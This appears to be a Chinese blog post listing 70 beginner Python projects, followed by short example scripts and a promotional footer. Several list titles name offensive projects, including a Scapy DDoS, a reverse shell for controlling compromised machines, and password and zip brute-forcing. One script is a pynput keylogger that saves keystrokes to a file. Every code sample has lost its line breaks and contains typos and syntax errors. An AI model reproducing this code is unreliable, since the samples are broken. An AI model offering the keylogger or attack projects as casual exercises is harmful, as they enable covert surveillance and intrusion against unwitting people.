非常适合零基础练手的70+Python项目,新手入门学Python必备项目

不管学习哪门语言都希望能做出实际的东西来,这个实际的东西当然就是项目啦,不用多说大家都知道学编程语言一定要做项目才行。

这里整理了70个Python实战项目列表,都有完整且详细的教程,你可以从中选择自己想做的项目进行参考学习练手,你也可以从中寻找灵感去做自己的项目。

1、Python 图片转字符画

2、200行Python代码实现2048

3、Python3实现火车票查询工具

4、高德API+Python解决租房问题

5、Python3 色情图片识别

6、Python 破解验证码

7、Python实现简单的Web服务器

8、Python开发打飞机游戏

9、Django搭建简易博客

10、Python基于共现提取《釜山行》人物关系

11、基于scrap爬虫的天气数据采集(python)

12、Flask 开发轻博客

13、Python3 图片隐写术

14、Python 实现简易 Shell

15、使用 Python 解数学方程

16、PyQt 实现简易浏览器

17、神经网络实现手写字符识别系统

18、Python 实现简单画板

19、Python实现3D建模工具

20、NBA常规赛结果预测——利用Python进行比赛数据分析

21、神经网络实现人脸识别任务

22、Python文本解析器

23、Python3 & OpenCV 视频转字符动画

24、Python3 实现淘女郎照片爬虫

25、Python3实现简单的FTP认证服务器

26、基于 Flask 与 MySQL 实现番剧推荐系统

27、Python 实现端口扫描器

28、使用 Python 3 编写系列实用脚本

29、Python 实现康威生命游戏

30、川普撞脸希拉里(基于OpenCV的面部特征交换)

31、Python 3 实现 Markdown 解析器

32、Python 气象数据分析 — 《Python 数据分析实战》

33、Python实现键值数据库

34、k-近邻算法实现手写数字识别系统

35、ebay在线拍卖数据分析

36、Python 实现英文新闻摘要自动提取

37、Python实现简易局域网视频聊天工具

38、基于 Flask 及爬虫实现微信娱乐机器人

39、Python实现Python解释器

40、Python3基于Scapy实现DDos

41、Python 实现密码强度检测器

42、使用 Python 实现深度神经网络

43、Python实现从excel读取数据并绘制成精美图像

44、人机对战初体验:Python基于实现四子棋游戏

45、Python实现可控制肉鸡的反向Shell

46、Python打造漏洞扫描器

47、Python应用马尔可夫链算法实现随机文本生成

48、数独游戏的Python实现与破解

49、使用Python定制词云

50、Python开发简单计算器

51、Python 实现 FTP 弱口令扫描器

52、Python实现Huffman编码解压缩文件

53、Python实现Zip文件的暴力破解

54、Python智能裁切图片

55、Python实现网站模拟登陆

56、给Python爬虫做一个界面.妹子图网实战

57、Python 3 实现图片转彩色字符

58、自联想器的Python 实现

59、Python实现简单滤镜

60、Flask实现简单聊天室

61、基于PyQt实现地图中定位相片拍摄位置

62、Python实现模板引擎

63、Python实现遗传算法求解n-queens问题

64、Python3实现命令行动态进度条

65、Python 获取挂号信息并邮件通知

66、Python实现java web项目远端自动化更新部署

67、使用 Python3编写Github 自动周报生成器

68、使用 Python 生成分形图片

69、Python 实现Redis 异步客户端

70、Python 实现中文错别字高亮系统

闹钟

编写一个创建闹钟的Python脚本。

你可以使用date-time模块创建闹钟,以及playsound库播放声音。

from datetime import datetime from playsound import playsoundalarm_time = input(“Enter the time of alarm to be set:HH:MM:SS”)alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print(“Setting up alarm..”)while True: now = datetime.now() current_hour = now.strftime(“%I”) current_minute = now.strftime(“%M”) current_seconds = now.strftime(“%S”) current_period = now.strftime(“%p”) if(alarm_period==current_period): if(alarm_hour==current_hour): if(alarm_minute==current_minute): if(alarm_seconds==current_seconds): print(“Wake Up!”) playsound(‘audio.mp3’) ## download the alarm sound from link break

文字冒险游戏

编写一个有趣的Python脚本,通过为路径选择不同的选项让用户进行有趣的冒险。

name = str( input(“Enter Your Mame”))print(f”{name} you are stuck in a forest.Your task is to get out from the forest withoutdieing”)print(“You are walking threw forest and suddenly a wolf comes in your way.Now Youoptions.”)print(“1.Run 2. climb The Nearest Tree “)user = int(input(“choose one option 1 or 2”))if user = 1: print(“You Died!!”)elif user = 2: print(“You Survived!!”)else: print(“Incorrect Input”)#### Add a loop and increase the story as much as you can

有声读物

编写一个Python脚本,用于将Pdf文件转换为有声读物。

借助pyttsx3库将文本转换为语音。

要安装的模块:

pyttsx3PyPDF2import pyttsx3,PyPDF2DdfReader = pyPDF2.PdfFileReader(open( “file.pdf’,”rb’))speaker = pyttsx3.init()for page_num in range(pdfReader.numPages): text =pdfReader.getPage(page_num).extractText() speaker.say(text) speaker.runAndwait()speaker.stopo()

货币换算器

编写一个Python脚本,可以将一种货币转换为其他用户选择的货币。

使用Python中的API,或者通过forex-python模块来获取实时的货币汇率。

安装:forex-python

from forex _python.converter import CurrencyRatesc = CurrencyRates()amount = int(input(“Enter The Amount You Want To Convert”))from_currency = input( “From” )-upper()to_currency = input( “To”).upper()print(from_currency,”To”,to_currency , amount)result = c.convert(from_currency, to_currency, amount)print(result)

天气应用

编写一个Python脚本,接收城市名称并使用爬虫获取该城市的天气信息。

你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。

安装:

requestsBeautifulSoupfrom bs4 import BeautifulSoupimport requestsheaders = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3′} def weather(city): city=city.replace(” “,”+”) res = requests.get(f’https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8′,headers=headers) print(“Searching in google……”) soup = BeautifulSoup(res.text,’html.parser’) location = soup.select(‘#wob_loc’)[0].getText().strip() time = soup.select(‘#wob_dts’)[0].getText().strip() info = soup.select(‘#wob_dc’)[0].getText().strip() weather = soup.select(‘#wob_tm’)[0].getText().strip() print(location) print(time) print(info) print(weather+” C”) print(“enter the city name”)city=input()city=city+” weather”weather(city)

人脸检测

编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。

可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。

安装:

OpenCV

下载:haarcascade_frontalface_default.xml

import cv2# Load the cascadeface_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)# Read the input imageimg = cv2.imread(‘images/img0.jpg’)# Convert into grayscalegray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# Detect facesfaces = face_cascade.detectMultiScale(gray, 1.3, 4)# Draw rectangle around the facesfor (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) crop_face = img[y:y + h, x:x + w] cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)# Display the outputcv2.imshow(‘img’, img)cv2.imshow(“imgcropped”,crop_face)cv2.waitKey()

提醒应用

创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。

安装:win10toast

from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try: print(“Title of reminder”) header = input() print(“Message of reminder”) text = input() print(“In how many minutes?”) time_min = input() time_min=float(time_min)except: header = input(“Title of reminder”) text = input(“Message of remindar”) time_min=float(input(“In how many minutes?”))time_min = time_min * 60print(“Setting up reminder..”)time.sleep(2)print(“all set!”)time.sleep(time_min)toaster.show_toast(f”{header}”,f”{text}”,duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)

Hangman

创建一个简单的命令行hangman游戏。

创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线“”表示,给用户提供猜单词的机会,如果用户猜对了单词,则将“”用单词替换。

import timeimport randomname = input(“What is your name? “)print (“Hello, ” + name, “Time to play hangman!”)time.sleep(1)print (“Start guessing…”)time.sleep(0.5)## A List Of Secret Wordswords = [‘python’,’programming’,’treasure’,’creative’,’medium’,’horror’]word = random.choice(words)guesses = ”turns = 5while turns > 0: failed = 0 for char in word: if char in guesses: print (char,end=””) else: print (“_”,end=””), failed += 1 if failed == 0: print (“You won”) break guess = input(“guess a character:”) guesses += guess if guess not in word: turns -= 1 print(“Wrong”) print(“You have”, + turns, ‘more guesses’) if turns == 0: print (“You Lose”)

文章朗读器

编写一个Python脚本,自动从提供的链接读取文章。

import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input(“Paste article url”)) def content(url): res = requests.get(url) soup = BeautifulSoup(res.text,’html.parser’) articles = [] for i in range(len(soup.select(‘.p’))): article = soup.select(‘.p’)[i].getText().strip() articles.append(article) contents = ” “.join(articles) return contentsengine = pyttsx3.init(‘sapi5’)voices = engine.getProperty(‘voices’)engine.setProperty(‘voice’, voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() contents = content(url)## print(contents) ## In case you want to see the content #engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file

键盘记录器

编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller() keys=[]def on_press(key): global keys #keys.append(str(key).replace(“‘”,””)) string = str(key).replace(“‘”,””) keys.append(string) main_string = “”.join(keys) print(main_string) if len(main_string)>15: with open(‘keys.txt’, ‘a’) as f: f.write(main_string) keys= [] def on_release(key): if key == Key.esc: return False with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

额外福利

今日福利:麦叔Python学习资源大礼包 让你走上巅峰

  • Python之AIoT学习资料
  • Python之入门教程完整版
  • Python之配套书籍
  • Python之数据分析与挖掘实战
  • Python之人工智能资料
  • Python之全栈开发资料
  • Python之数据分析实战项目
  • Python之物联网实战项目
  • Python之数据分析30个实战项目

完整资源获取方式

关注“麦叔Python”头条号,评论转发私信:666即可获取

郑重声明:本文内容及图片均整理自互联网,不代表本站立场,版权归原作者所有,如有侵权请联系管理员(admin#wlmqw.com)删除。
(0)
用户投稿
上一篇 2022年6月12日
下一篇 2022年6月12日

相关推荐

联系我们

联系邮箱:admin#wlmqw.com
工作时间:周一至周五,10:30-18:30,节假日休息